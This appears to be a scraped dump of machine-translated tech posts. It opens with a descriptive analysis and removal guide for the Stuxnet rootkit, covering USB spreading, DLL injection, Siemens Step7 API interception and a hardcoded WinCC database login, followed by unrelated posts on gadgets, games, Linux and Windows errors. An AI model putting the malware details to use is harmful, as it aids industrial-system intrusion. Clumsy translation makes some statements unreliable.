shortcuts\"\nAll of these files are 4171 bytes in size and are identified as Trojan.WinLnk.Agent.i. Security holes on the operating system will continue to be exploited if the user accesses and views the content inside the USB device. And this process continues another spreading cycle of rootkits.\nPayload method:\nThe main purpose of this type of rootkit is malicious code into processes and applications that users activate. Later, they will continue to download DLL files and 'embed' the following services:\nsvchost.exe\nservices.exe lsass.exe\nWhen this process is completed, the DLLs will be listed in the module list with the name:\nkernel32.dll.aslr.\nshell32.dll.aslr.\nIn it, the parameter rnd is the decimal number. The code being inserted is stored in the file % WinDir% infoem7A.PNF . Of course it was encrypted.\nThe code to insert into the system with the following main functions:\n- There is a self-spreading mechanism through USB protocol storage devices\n- Control the Siemens system Step7. For the purpose of spreading and quickly gaining control of the system, they will immediately replace the s7tgtopx.exe process instead of the s7otbxsx.dll library as usual, to simulate the different stages in the system according to the The following API function:\ns7_event\ns7ag_bub_cycl_read_create s7ag_bub_read_var s7ag_bub_write_var s7ag_link_in s7ag_read_szl s7ag_test s7blk_delete s7blk_findfirst s7blk_findnext s7blk_read s7blk_write s7db_close s7db_open s7ag_bub_read_var_seg s7ag_bub_write_var_seg\nThereby it is easy to collect the necessary information on the system.\n- Execute SQL query commands, this rootkit will receive a list of computers in the local network and check the existence of Microsoft SQL server application on it, to meet the virtualization system and operations of Siemens WinCC. If they find any server, the accompanying malware will try to connect and log into the database using the WinCCConnect / 2WSXcder account name and password, and then request to extract the data from The following tables:\nMCPTPROJECT\nMCPTVARIABLEDESC MCPVREADVARPERCON It collects thông tin từ tập tin với các Extensions: * .S7P * .MCP * .LDF\nThese tables are used in Siemens Step7. And they will continue to spread to other computers in the system in the same way.\n- After that, they will send stolen information to the address prepared by hackers in different types of encrypted packets.\n- These rootkits are marked with digital signatures - digital signature, by Realtek Semiconductor Corp.  Instructions to remove:\nIf your computer has been infected with this type of rootkit, and the security program currently has no preventive effect, apply the following method to completely remove these malicious programs:\nFind and completely remove rootkit files (strange characters appear on partitions, USB devices .)\nDelete the following registry files:\n[ HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMRxNet]\n[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMRxCls]\nContinue to delete the following system files:\n% System% driversmrxnet.sys\n% System% driversmrxcls.sys % windir% infmdmcpq3.pnf % windir% infmdmeric3.pnf % windir% infoem6c.pnf % windir% infoem7a.pnf\nRestart the computer, turn off the icon display feature in the data manager to avoid spread.\nDelete the following files on the USB device:\n\" Copy of Shortcut to.lnk\"\n\"Copy of Copy of Shortcut to.lnk\" \"Sao chép của Copy của Bản đồ vào Shortcut\" \"Sao chép của Copy của Bản bản của Bản đồ vào shortcuts\" ~ wtr4132.tmp ~ wtr4141.tmp\n- Use reputable security programs like Kaspersky Internet Security, BitDefender Security, Avira Antivir Premium, Norton Internet Security .\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZKyZnaW5pnnRqKato5mpxKq6kmuqra2oo7K1rQ%3D%3D\n","link":"/post/learn-about-the-sample-rootkit-win32-stuxnet-a/","section":"post","tags":null,"title":"Learn about the sample Rootkit.Win32.Stuxnet.a"},{"body":"Check iPad battery health with coconutBattery app. If you want to quickly check the health of your iPad's battery (and do the same for your Mac), CoconutBattery will be a great help. Just do the following simple steps:\nStep 1. Download, install and open the CoconutBattery app on your iPad.\nStep 2. Connect iPad to your Mac. If you upgrade to CoconutBattery Plus, you can connect via Wi-Fi.\nStep 3. The first tab will display information about your Mac's battery health. Click iOS Device to check your iPad's battery status.\n  Step 4. CoconutBattery will provide you with all the valuable data related to iPad battery. However, there will be 2 main parameters that you should pay attention to to most accurately assess the battery status on your device: Design Capacity and Full Charge Capacity.\nDesign Capacity can be understood as the maximum charge that the battery can hold when brand new, measured in milliampere (mAh). While Full Charge Capacity is the maximum charge current the battery can reach.\nKeep looking at the status bar below the Design Capacity section. The closer the number is to 100%, the better your iPad battery is. When this number drops below 80%, consider replacing the battery with a new one.\n  Step 5. Another useful information you should be interested in is Battery Info. Clicking here will tell you the battery's brand, manufacture date, and more.\n  Check iPad battery health with iMazing . app iMazing works similarly to CoconutBattery but provides more useful information. Usage is as follows:\nStep 1. Download, install and open the iMazing app.\nStep 2. Connect iPad to the Mac or PC you're using.\nStep 3. Click on your iPad in the left sidebar.\nStep 4. Click the battery icon to display battery statistics.\n  Step 5. iMazing will immediately display clear information about the battery health on your iPad, and provide a percentage correlation between the current capacity of the battery compared to the original design capacity without the battery can still hold (the closer to 100% the better).\nYou can also get more detailed information about the original design capacity, current capacity, charge cycle, temperature, warnings and more.\n  ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmLWmr8pmoKmZlGKvosDTnqmyZaOprrXB0maorqGToLm6ecipmJ0%3D\n","link":"/post/steps-to-check-ipad-battery-status-quickly-ipad/","section":"post","tags":null,"title":"Steps to check iPad battery status quickly iPad"},{"body":"The 3-star General in the Truth Arena is the target many people look at, especially in the early stages of the battle. But in this time to get a 3-star general is very difficult. The strategy below will help you get the fastest 3-star chess piece.\nConfigure to play the Truth League League of Legends on the computer Truth School League: 5 simple tips that make it easier to match Three effective teams for the new player when playing the Truth School League League Tactics get the fastest 3-star general in the Truth Arena Hyper-Rolling tactics Also known as Gambler or roll to death. This means that you use all the gold in the early game to find 1 gold pieces with high power in the early to mid game.\nAnd you will need at least one key piece in the line up combo that you will build about the later time of the game.\nThis tactic is quite risky if you are inferior, because all of your money has been spent on re-roll, so if your dignity is not good, you will lose quickly, and the chess pieces in your Truth Arena team. not complete and not effective. So Hyper-Rolling is a highly rated strategy.\n  Because of this tactic, you have focused on investing in a golden one so that they can climb to the highest level. So you should not use gold to level up your d Thúmon, because if the summoned beast is leveled up, it will reduce the rate of one golden summon.\nAt this point, losing or winning is not more important than the fact that you need to use a number of chess pieces that have good resistance to not lose too much blood in the early stages of the match.\n  And when you have 1 gold pieces in your hand, your strategy is complete. Now is the time for you to return to the winning sequences, rebuilding the money to prepare for the end of the game.\nTactics Economic problem The Arena of Truth Although High - Reroll is quite interesting, it is usually only rookies who use it together. Those who have not had much experience and most are taking dignity to fight with each other.\nMeanwhile tactics Economic problems are the opposite, it is used more in experienced gamers. You will have a better chance of getting 4 and 5 gold generals faster in this strategy, and from there will be able to gain power quickly for the end of the game.\n  At the same time it will increase the likelihood that you may be in the top 4 games and even higher in the first place, but in the early stages this strategy is quite weak and you may have to spend quite a bit of money to get these. chess pieces at your disposal.\nThe goal that the player needs to achieve in this strategy is to save 50 gold as quickly as possible to get an additional 5 gold bonus for each round. You should buy the experience pack for your summoned beast to level up before going to the monster ring.\n  And ideally, you will achieve a level of 50 gold along with level 5. As soon as the two conditions are met, you will start level 6 and roll to find the strong and necessary 4 gold pieces for your strategy. me\nHowever, once you roll, you have to adjust to make each gold round for 50 rounds so you can get 5 more gold for each round.\nThrough the above instructions, you can choose which tactics are suitable according to your play style in the League of Truth League.\nncG1vNJzZmismaXArq3KnmWcp51kwbPB06FkpZ2RnMKmecuemKCtlWK8p3nLnp6eppSoerTA0Zqrnp%2BpYsGweceeo6llqaTCbrTAr5xmrJiaeqet0q2crKxdaMC1rdFmmqGZnaW2sLo%3D\n","link":"/post/strategy-to-help-you-have-the-fastest-3-star-champion/","section":"post","tags":null,"title":"Strategy to help you have the fastest 3-star champion"},{"body":"When you click on an online Bingo site, you step into a brand-new world of gaming, filled with a range of Bingo rooms, as well as different and trending versions of the game.\nIf this sounds a bit daunting, then fear not, as we'll guide through everything you need to know about online Bingo. So, join us on our journey through this thrilling way to play the classic game.\n  The rules of online Bingo There are a range of Bingo variations available online, so the exact rules of each game can vary. Luckily, the online gaming site will provide you with all the rules, information and features you need to know, before you play.\nBut in general, the rules for playing online Bingo are very similar to those in your local hall. You'll purchase a Bingo card, with the aim to mark off the numbers as they're randomly called, in order to win a prize.\nA number is selected at random, like it would with a Bingo machine. But instead, online Bingo uses software called random number generator (RNG) and the number will appear on the screen.\nOnce the number is selected, you can mark it off if it appears on your Bingo card. You can do this manually, or choose the option for the computer to automatically do this for you. Depending on your chosen game, you could win prizes for completing a line, two lines, a particular pattern, or marking off all the numbers on your card — which we all know is called a Full House.\nThe numbers continue to be drawn until a player has completed the required lines or patterns, therefore winning the game. The exciting part is that there usually can be more than one winner, with several different prizes to be won!\nWhat is a Bingo card and how does it work? The Bingo card price and layout will differ depending on the online game you decide to play, but there are some games you'll commonly find on an online Bingo site.\nThese are determined by the number of balls in play, and often are:\n90-ball Bingo — this will involve a Bingo card of 15 squares, displayed in a 5x3 grid. 80-ball Bingo — this has 16 squares, with a 4x4 grid. 75-ball Bingo — this has 24 squares, with a 5x5 gird, but the centre square remains blank. The numbers in each game therefore can go up to 75, 80 or 90, as the names imply.\nWith online Bingo, there are a huge number of card combinations available, so it's very, very rare to play with the same card twice.\nHow long does a game last? Again, this depends on the game and site you choose to play on, but you tend to find that games can last around 10 minutes. If you wish to play at your own pace, you could opt for a Bingo hybrid, such as Slingo — combining the best of both worlds, with different aspects of Slots and Bingo in one game.\nThere's plenty of fun to be had with a game of online Bingo, so why not get your digital dauber at the ready, and give it a try!\nonline Bingo Bingo ncG1vNJzZmismaXArq3KnmWcp51kwamxjKKlrGWRo7Fuu9StqmanlmK8r7jIp5xmmpmjtLA%3D\n","link":"/post/the-ins-and-outs-of-online-bingo/","section":"post","tags":null,"title":"The ins and outs of online Bingo"},{"body":"However, the manual cleaning will be extremely time consuming while the efficiency is not really high. Instead, you should use specialized system cleaning tools. Let's take a look at some of the most notable names below.\n1. Stacer Stacer is an open source system monitoring and optimization tool that can make cleaning the system even simpler for Linux enthusiasts. This is arguably one of the best Linux system cleanup tools out there, especially its ability to free up hard drive space, help you lighten your system and maintain older Linux installations.\n  You can use Stacer to remove packet caches, report crashes, application logs, and caches. However, sometimes clearing app cache can slow down your application. Make sure you do not clear the cache for frequently used applications like web browsers.\n2. BleachBit BleachBit is a reliable system cleaning tool that can help you to save significantly on asia storage space by wiping unnecessary files from your Linux computer. You can use BleachBit to clean cache, cookies, history and temporary files, as well as many other types of junk data. In addition, it can also clean application data for many popular Linux software such as Firefox, GIMP, KDE, APT and Vim.\n  In particular, BleachBit's ability to hide previously deleted files makes it an extremely suitable tool for those who focus on security. You can also use BleachBit to remove unwanted language files as well as to clean up virtual RAM (SWAP). BleachBit's whitelisting feature is also a big plus, making it easy to protect essential system data files.\n3. Sweeper Sweeper is a simple yet feature-rich system cleaning tool for Linux. It is designed to help you clean up your open source operating system. Especially, if you are sharing the same Linux PC with many others for personal or work reasons, you can even hide your activities through Sweeper.\n  In addition, Sweeper makes it easy to reclaim free storage space by deleting unnecessary files. Applications can delete clipboard content, web and shell history, cache, thumbnails, and many other types of data. Sweeper will be a great choice for those looking for a reliable system cleaner.\n4. GCleaner GCleaner is one of the lightest system cleaning tools available for Linux platforms. It provides an intuitive graphical interface, making it extremely simple to delete junk files on the system. Moreover, the open source nature of the application also allows users to easily test the source code and make necessary customizations.\n  You can use GCleaner to delete temporary files, Internet cookies, cache, history, etc. Overall, this is a great CCleaner alternative for Linux users.\n5. Ubuntu Cleaner Ubuntu Cleaner is a free and open source system cleaner that runs on all of today's popular Linux distributions, not just Ubuntu. This cleanup utility's simple user interface makes it very easy to use for the novice. Ubuntu Cleaner makes it easy to free up hard drive space occupied by junk data.\n  Alternatively, you can also use Ubuntu Cleaner to clear your browser cache, APT cache, thumbnails, outdated packages, settings, kernels, and more. This application is available through the PPA, so you can try it out without developing from source.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqttc2ur2arqajBprmMnKOemZ6eu6h506impas%3D\n","link":"/post/top-5-best-linux-system-cleaning-tools/","section":"post","tags":null,"title":"Top 5 best Linux system cleaning tools"},{"body":"Sometimes small tweaks to the game settings, such as the reduction of visibility to Crewmate or Impostor, or simply to turn off notifications to see if the person who was kicked out of the map is a fake is a way to change an interesting experience compared to playing Among Us normally.\nBut if you change multiple settings at the same time, players can create a completely new game mode in Among Us Mobile and on Among Us PC. Most recently you can see how attractive the mode Hide Search Among Us has become.\nAnd if you do not know the options in Among Us will also bring any game modes in the game. Please see a few interesting mods based on the custom in the game below this article.\n1. Madness Among Us Mode If you want a level that is faster than usual and a bit fierce, more ruthless, try Crazy mode with the options below.\n  Quickly restores Kill Cooldown Short Tasks Short voting time (Voting Time) No visual tasks (Visual Task) Turn off the notification that the person who was pushed from the map is Impostor (Confirm Eject) You should also play with your friends to make the game more attractive. In addition, you can also shorten the discussion time to make the game more difficult. This makes the Crewmate difficult to weigh for long and often forces them to make quick decisions and judgments.\n2. Mode \"Detective\" Among Us This mode is for the \"detectives\" in Among Us, the organizers can extend the game to focus on strategic inference. Specifically, the settings are in the following rules.\n  Slow cooldown Emergency meetings Discussion Time Long voting time For many long missions Turns on whether the person who has just been pushed from the map is an Impostor Also, if the player is ready, the organizers will ask them to commit that the Total Task bar in the upper left corner of the screen must be ignored. This is easy to say, but difficult to do, but if the Crewmates don't keep track of this Total Task bar, it might give Impostor a bit of an edge in this mode over the Crewmate's.\nAnother option in this mode is the Visual Task. It can help the Crewmates have better strategy and inference, and will, though, put some Pretenders at a disadvantage. So ask everyone if you should turn on Visual Task before playing.\n3. Hide Search Among Us   I already have a post about the mode Hide Search Among Us already, in this mode, the game will have a bit of a horror game direction than a deduction game. This mode requires the room owner to change some settings and requires the team to follow some rules for the full operation.\nThe settings for this game mode are:\nNumber of Impostor: 1 Player Speed: 1.5x - 3x Crewmate Vision (Crewmate vision): 2x - 5x Impostor Vision (Impostor vision): 0.25x Kill Cooldown (Impostor kill cooldown): 15 seconds Kill Distance (Impostor kill range): Short Tasks: 6-9 quests Impostor must announce his identity at the beginning of the game and wait 15-30 seconds for the Crewmates to escape. Crewmates are not allowed to press meetings, report corpses, and fix lights. Only run away from Impostor and complete the quest to win.\nFor Impostor in this mode, the goal is to find and kill all Crewmates until only one is left.\n4. Among Us color mode   Color mode is a normal game mode in Among Us. This mode is a little special that you and all other players agree to change their name to a color type, such as Vang, Do, Blue . (Among Us has not been marked for the character name. ).\nOf course, their names won't match the colors they choose for their characters. This will make discussions more difficult and messy, and can lead to some humor before voting someone to fly off the train.\nncG1vNJzZmismaXArq3KnmWcp51krq67zaBkrqujYoFus8CmnGaln5mytHnIrGSbmaOasW67zWaroZ1dnK6usdJmmq6rpKS6qsbAraCopg%3D%3D\n","link":"/post/4-game-modes-is-based-on-the-game-s-customization-in-among-us/","section":"post","tags":null,"title":"4 game modes is based on the game's customization in Among Us"},{"body":"- To create more effects of glass, we add a steering wheel and a seat.\n- To draw the thickness of the chair use the Interactive Extrude Tool command. On the properties bar, select the Color box, select the Use Solid Color box, select the gradient color (Figure 13). - Arrange chairs and steering wheel in the right position, choose the glass. - Select Arrange - Order - To Front . - At this time, we will see the chair and steering wheel blurred because we have to look through the glass (Figure 14).\n   Figure 13\nFigure 14\nStep 2 : Draw the wheel - Draw the tires : draw an ellipse, fill it with black and rotate 10 degrees (Figure 15). - Drawing braces : from the ellipse to create the upper case, draw 9 ellipses with the same center in order of diminishing (Figure 16).\n   Figure 15\nFigure 16\n- Select the fourth ellipse from the outside, select the Shape Tool for the gear shape (Figure 17). - Select the 9th ellipse for the line is 0.85pt. - 8th image coloring C: 8, K: 10. - Figure 7 shaded black. - Figure 6 shows the Fountain (Figure 18).\n   Figure 17\nFigure 18\n- Figure 5 coloring C: 8, K: 10.\n- Figure 4 shows the Fountain (Figure 19). - Figure 3 black. - Figure 2 for the line is 0.85pt. - Figure 1 shows the Fountain (Figure 20).\n   Figure 19\nFigure 20\n- Arrange shells and braces (Figure 21).\n- Attach a new wheel to draw on the front part of the car, draw more water barrier. - Draw the thickness of the wheel (like the seat drawing, using the Interactive Extrude Tool command) (Figure 22).\n   Figure 21\nFigure 22\n- Drawing the rear wheel of the car is similar to drawing the front wheel (Figure 23).\nStep 3: Decorate outside - Drawing on the trunk of the car behind, painting Fountain (Figure 24, 25). - Draw the wind-up part of the vehicle (Figure 26).\n   Figure 23\nFigure 24\n   Figure 25\nFigure 26\n- Draw the wind-up part on the side of the car.\n- Draw the ellipse, select the Shape Tool, make the right head slightly smaller than the left, turn to the right 10 degrees. - Create an ellipse again from the top ellipse, select the Shape Tool, and fill it as shown in Figure 27. - Choose the Interactive Blend Tool, drag from blue to black, draw the upper and lower borders to create a recessed feeling (Figure 28, 29). (Continue)    Figure 27\nFigure 28\n  Figure 29\nLam Khe\nncG1vNJzZmismaXArq3KnmWcp51ksLC%2BxKWbq5mnYn5zecOrmLChnpx6tLzOq6usZZOWv7R5wqilraGeqrKl\n","link":"/post/coreldraw-12-drawing-sports-cars-continued/","section":"post","tags":null,"title":"Coreldraw 12: Drawing sports cars (continued)"},{"body":"In Excel supports user statistical analysis tools. Here I introduce you how to create descriptive statistics tables for data sets in Excel.\nIn case the device does not have Analysis Toolpak installed, follow the instructions of Part 1. Install Analysis Toolpak if already installed, follow the instructions from Part 2. Create a statistics table .\n1. Install Analysis Toolpak Step 1: In card File-\u0026gt; Options -\u0026gt; dialog appears -\u0026gt; Add-Ins -\u0026gt; Analysis ToolPak -\u0026gt; Go.\n  Step 2: The Add-Ins dialog box appears -\u0026gt; Analysis Toolpak -\u0026gt; OK .\n  So you have installed Analysis Toolpak for Excel.\n2. Create data statistics table I have the following data table, I want to statistic about the sales and which products sell the best.\n  Step 1: Click Data -\u0026gt; Data Analysis . The Data Analysis dialog box appears, click Descriptive Statistics -\u0026gt; OK .\n  Step 2: Dialog Descriptive Statistics appears -\u0026gt; select the data that you want statistics in Section Input Range -\u0026gt; select the location of the statistics table in section Output Range -\u0026gt; tick Summary Statistics -\u0026gt; OK.\n  Step 3: Completing the statistics table (as shown)\n  We see Excel for some basic statistical quantities as follows:\n1. Mean: The average value\n2. Standar Error: Error of mean\n3. Median: Median\n4. Standar Deviatic: Standard deviation\n5. Variance: Variable length\n6. Maximum: Maximum value\n7. Minimum: Minimum value.\nHope the data sheet will help you.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpyVqLCztc%2BtoK%2BdXajBosDIrKuim6NiwaKuy55kn6eiYrGiwMCsnK1lmaN6psTCnqM%3D\n","link":"/post/create-descriptive-statistics-table-for-dataset-in-excel/","section":"post","tags":null,"title":"Create descriptive statistics table for dataset in Excel"},{"body":"Linux distributions are very similar to car models. There are so many options, new options appear every day and it's hard to tell the difference between them.\nThe following article will outline the differences between RHEL, CentOS and Fedora, as well as find out which is the best option for you.\nSimilarities between RHEL, CentOS and Fedora First, let's mention the similarities between these 3 distributions. All are based on Red Hat Linux that stopped working in 2004. Red Hat Company created and owned Red Hat Linux, just like with Red Hat Enterprise Linux (RHEL). As soon as Red Hat Linux became Red Hat Enterprise Linux, it merged with the Fedora Project and CentOS (Community ENTerprise Operating System).\nFedora Linux was originally created as a community-based project, as opposed to Red Hat Linux, which was developed only in Red Hat and serves the purpose of providing additional software for Red Hat Linux users. CentOS was originally conceived after Red Hat Linux changed its name to RHEL in 2004, as a community edition of RHEL, made freely available to everyone. Today, it is somewhat similar to Red Hat's self-help model for Developer Subscription.\n Desktop RHEL 8 In short, RHEL, CentOS and Fedora are all based on the original Red Hat Linux. This means that all of these distributions use the same RPM, YUM or DNF system to manage the package and are all sponsored or owned by Red Hat in some way. They are very similar and this can lead to some confusion.\n Desktop CentOS 8 Differences between RHEL, CentOS and Fedora RHEL is a Linux distribution for enterprise customers. Many users become confused when Red Hat is responsible for supporting RHEL. This is often because a business customer is seeking to pay for the best support and product they can. Customers may know that Linux is one of the best options for cloud server, but they want to get guarantees from a provider rather than a community project.\nCentOS is similar to RHEL, also developed by the community. CentOS is a great option for users who are looking for the stability that RHEL offers, but there's no cost or support associated with it. CentOS is built on source code from RHEL, so they have almost identical backgrounds. Both are very reliable as server distributions. You do not get the latest software, but they are guaranteed to be thoroughly tested.\nFedora has some of the latest software available while still having a robust testing protocol. Newer kernels make it a great choice for new laptops and desktops. The fast pace of development means that you will never be outdated. In addition, because Fedora upstream (backward contact) with RHEL, the new and interesting features that Red Hat wants to incorporate with the enterprise platform have been tested and highlighted in Fedora. This means that some really interesting features make Fedora a good, reliable system.\n Desktop Fedora Workstation 32 Let's talk about the workflow that Red Hat has with Fedora, RHEL and CentOS. Put simply, Red Hat uses Fedora as a testing ground for the features it wants to implement in RHEL. These features are included in RHEL and the latest RHEL release is then used to create CentOS as a free and self-supporting alternative. This process can be visualized in the following diagram:\nFedora -\u0026gt; RHEL -\u0026gt; CentOS There is a difference in release density. A new version of Fedora is released every 6 months. Each version reaches 'End of Life' after 13 months from being released.\nFedora Project has just released Fedora 32. That means Fedora 33 will be released in about 6 months, Fedora 31 was released about 6 months ago and Fedora 30 will soon reach the 'End of Life' milestone. However, with RHEL and CentOS, versions are released and supported for 10 years. Therefore, RHEL 8 and CentOS 8 were released in late 2019, meaning they will be supported until 2029.\nWhich option is best for you? It all depends on your use case. RHEL, CentOS and Fedora are suitable for very different use cases. However, the idea that there are two distributions for servers and one for desktops is not really accurate. Things are not as simple as that. All 3 can be used for both server and desktop, as well as work with many different things.\nRegardless of the distribution choice, you need to do some research on your usage to make a decision.\nFedora Server is a great operating system for those looking for the latest kernel in a server. CentOS is a great workstation distribution for those who want reliable access to specific toolkits and applications. RHEL is a great choice for anyone who wants to use these in an enterprise environment, whether it's a server or a desktop workstation. ncG1vNJzZmismaXArq3KnmWcp51ksaqyxZ6pnqaTmsBursStrp6dnmK%2FqbHLZpqepqSkwG6tzZ1kn52UpL%2Bi\n","link":"/post/differences-between-rhel-centos-and-fedora/","section":"post","tags":null,"title":"Differences between RHEL, CentOS and Fedora"},{"body":"Today's article will share with you the information about the causes and possible solutions to fix the blue screen death-related error (BSOD), UNMOUNTABLE_BOOT_VOLUME and stop code is STOP: 0x000000ED.\nThis error is sometimes misspelled to UNMOUNTABLE_BOOT_DRIVE, but functionally the two errors are the same.\nThe fix described in the article applies to Windows XP, Windows Vista and Windows 7.\nInstructions for troubleshooting UNMOUNTABLE_BOOT_VOLUME error Overview of UNMOUNTABLE_BOOT_VOLUME error Description and identification signs The cause of the UNMOUNTABLE_BOOT_VOLUME error  Error correction 'UNMOUNTABLE BOOT VOLUME BSOD' on Windows How to fix 1: Roll back the driver controller drive with System Restore Solution 2: Change IDE / RAID / AHCI mode in BIOS  Overview of UNMOUNTABLE_BOOT_VOLUME error The following information about this error has been compiled, based on information gathered by global engineers, developers and technicians or organizations.\nDescription and identification signs When booting a PC running Windows XP, Windows Vista or Windows 7, you may encounter a blue screen of death (BSOD) with an error message, UNMOUNTABLE_BOOT_VOLUME, and usually a stop code STOP: 0x000000ED, similar to a screenshot underneath:\n  Sometimes the error message also has another 'variant' as follows:\n  The cause of the UNMOUNTABLE_BOOT_VOLUME error The UNMOUNTABLE_BOOT_VOLUME error is a sign that Windows cannot mount the boot file system to read / download the necessary dependencies from there.\nWhile Windows, based on the microkernel-esque structure, can load dependencies and components flexibly, has a basic dependency set, it must be absolutely online in the boot process, otherwise Windows will not boot, even if the kernel is issued.\nWith the latest Windows versions and especially after the kernel and driver reconstruction that took place during Windows Vista development, this list of components has been reduced and now includes only input / output drivers. Basic and most popular). In general, the basic input / output drivers are able to work with different systems without requiring any special compatibility, since most of the hardware they connect has been designed and build to the standard - even if not everyone complies with RFC and other official standards, in addition to controllers for hard drive drivers.\nIf Windows cannot determine and connect to the hard drive controller (whether integrated into the motherboard or as a PCI-E card) or if the hard drive controller is successfully online but Windows cannot read the drive It is being booted from there for various reasons, such as the UNMOUNTABLE_BOOT_VOLUME error that may appear.\nThis error occurs due to one or more of the following:\nCause 1: Driver drive controller is corrupted or incompatible\nAs explained above, if Windows cannot determine and connect to the hard drive controller, responsible for the drive where the system partition is located, the Windows kernel will not be able to read and load the basic dependencies from the drive, therefore, the blue screen above will appear.\nA common cause of this error is to uninstall or update / upgrade failed hard drive controller drivers.\nFor example, if the Intel or LSI drive management driver is deleted, corrupted, uninstalled or upgraded incorrectly and Windows has no 'original', basic support for a specific hard drive controller is in use, Windows will not be able to communicate with the drive adapter to read the required data, resulting in a deadly blue screen error UNMOUNTABLE_BOOT_VOLUME.\nCause 2: Try to load Windows from an incorrect partition\nIf Windows cannot load the main drivers and other basic dependencies, the UNMOUNTABLE_BOOT_VOLUME error will also occur, in case Windows requires the driver to connect to the hard drive controller, but is instructed to load from the wrong partition (not is the real installed partition). When the bootloader (NTLDR in the case of Windows XP or BOOTMGR in the case of Windows Vista and Windows 7) starts loading the operating system based on the configuration file (The configuration is stored in the BOOT.ini text file in the case of NTLDR and BOOTBCD BOOTBCD in BOOTMGR case , the bootloader will transfer information about where it will load the operating system to the kernel (in the environment block).\nIf the configuration repository (BOOT.INI / BCD) is incorrectly set or no longer points to the correct partition, ntoskrnl will not be able to load Windows from the specified partition and there may be BSOD UNMOUNTABLE_BOOT_VOLUME errors.\nCause 3: The Windows partition is resized or moved\nIn a manner similar to the situation with BCD or BOOT.INI incorrectly configured, instructing Windows kernel to load the operating system from the wrong partition, the UNMOUNTABLE_BOOT_VOLUME error may also occur if the identifier for the Windows partition is changed. change, but the boot configuration file still holds the old information.\nBoth NTLDR and BOOTMGR have many methods of determining partitions. Some methods are based on a combination of drive numbers and offset partitions (distance from the drive's starting point) or partition number (how many partitions stand before it physically in the drive layout sequential or in partition table in MBR).\nIf the Windows partition is moved, a partition is added or deleted before the Windows partition is placed on the drive, or the order of the drives changes, the BCD or BOOT.INI references to the Windows partition may not yes, and the kernel will issue a blue screen death error UNMOUNTABL_BOOT_VOLUME when trying to load Windows from the wrong partition.\nCause 4: SATA mode AHCI / IDE / RAID is changed or reconfigured\nSimilar to the first scenario discussed above, where the device drivers needed to communicate with the Windows partition have been uninstalled or replaced incorrectly, maybe the drivers that Windows has been configured to load and use at the start of the boot process is no longer correct, although the basic hardware has not changed. Most SATA controllers (Intel ICH ACH controller, Marvell, JMicron, nVidia and other controllers) display an option in the BIOS for the drive controller configured in any of three modes: IDE, AHCI or RAID.\nThe IDE is the most basic mode and handles SATA controllers in the same way as the legacy IDE controllers that handled ATA drives: This controller itself has almost no logic related to reading / writing and simply plays bridge (proxy data to and from drives).\nAHCI is a new standard for communication, first used in home PCs, for drives connected to SATA controllers on newer operating systems, in which the hard drive controller contains an important logical link. refers to the process of reading and writing.\nInstead of asking the Windows device driver to dictate each move of the read / write head and finding the drive, the controller in AHCI mode will act as the \"scribe\" of the above information for Windows, receive higher-level read and write commands and then use your own logic to process the commands as efficiently as possible (allowing hardware-level caching, optimizing the read / write order (called NCQ) to minimize disk search, reduce latency and optimize other components).\nNewer SATA controllers have RAID mode, in which RAID is deployed on most software, used to set up 'stripe' drives for performance, RAID 1 ('mirror') to Data backup or RAID 5/6/1 + 0 for both purposes. Typically, such configuration will require a completely separate hardware-based RAID controller, but the modern SATA drive controller divides the RAID process between the device driver and the microcontroller on the board for a cost-effective solution. charge.\nAs can be seen, the above three modes of operation vary quite a lot in terms of features and implementation. Each of these modes requires a completely different driver for Windows to use, although the hardware itself (both the physical drive controller and the hard drive) does not change.\nMost computers allow IDE / AHCI / RAID mode to be installed from the BIOS and change quickly without having to delete the hard drive. If Windows is installed and started with this mode, but another mode is configured (due to BIOS configuration changes, BIOS upgrades, BIOS reset settings, etc.), the current driver will no longer be available. Enough to use.\nError correction 'UNMOUNTABLE BOOT VOLUME BSOD' on Windows Some solutions below require using a CD or DVD to set up Microsoft Windows. If the PC is not included with the Windows installation disc, or if you no longer have the Windows setup facility available, you can use Easy Recovery Essentials for Windows instead. EasyRE will automatically find and fix many problems and can also be used to solve problems related to the UNMOUNTABLE_BOOT_VOLUME error according to the instructions below.\nHow to fix 1: Roll back the driver controller drive with System Restore Most of the drivers related to this error can be corrected by returning to the previous system configuration using the System Restore tool.\nWindows usually creates a system restore point every time certain drivers are installed, upgraded or deleted. If the UNMOUNTABLE_BOOT_VOLUME error is caused by a device driver change, the system restore point will 'reverse' the process and help correct the error.\nSystem Restore, available from Startup Repair / Recovery Console , is released on Windows Vista, Windows 7 and Windows 8 setup DVDs, which can be used to display a list of 'snapshots' on the computer at recently and tried to restore the PC to the selected restore point. System Restore is 'non-destructive', because it only affects Windows and programs, not individual files and folders. Follow these instructions:\n1. Insert the Windows installation DVD into the PC CD-ROM drive,\n2. Turn off the PC completely.\n3. Turn on the PC power again,\n4. Press any key when you see the message 'Press any key to boot from CD or DVD' .\n5. Click the link titled 'Repair your computer' in the bottom left corner, after selecting the language and keyboard options.\n  6. Wait for Startup Repair to scan your PC to install Windows, then select the installation from the list that it displays:\n  7. Select 'System Restore' from the list of recovery options available to get started:\n  8. The 'System Restore' utility will launch, giving you the ability to select the previous desired system restore point or providing manual options, then click Next to continue.\n  9. Depending on your selection, you may be provided with a list of valid system restore points and their respective dates, plus a brief description of why (if any) they are available. perform. Click the desired option, then select Next again to continue.\n  10. System Restore will ask you to confirm your choice and then start the recovery process. You will be prompted to exit and restart the computer for the restore to complete.\nAfter the PC restarts, if System Restore is completed successfully, the PC will fix the error and System Restore will notify you of the changes it has made to the PC after you log back into Windows. . If the system recovery process fails or if the system recovery process is completed successfully, but the problem is not resolved, you can repeat the steps above but select another restore point, see if the error has been etched. dress.\nSolution 2: Change IDE / RAID / AHCI mode in BIOS If the UNMOUNTABLE_BOOT_DEVICE error occurs because of changing the mode of the SATA drive controller in the BIOS or firmware, the fix may be very simple, by entering the BIOS and switching the mode settings of the SATA controller. Specific instructions will vary depending on the manufacturer, but the options will be similar to those shown in the screenshot below.\n    Try switching between 3 modes until Windows can successfully boot.\nHope you are 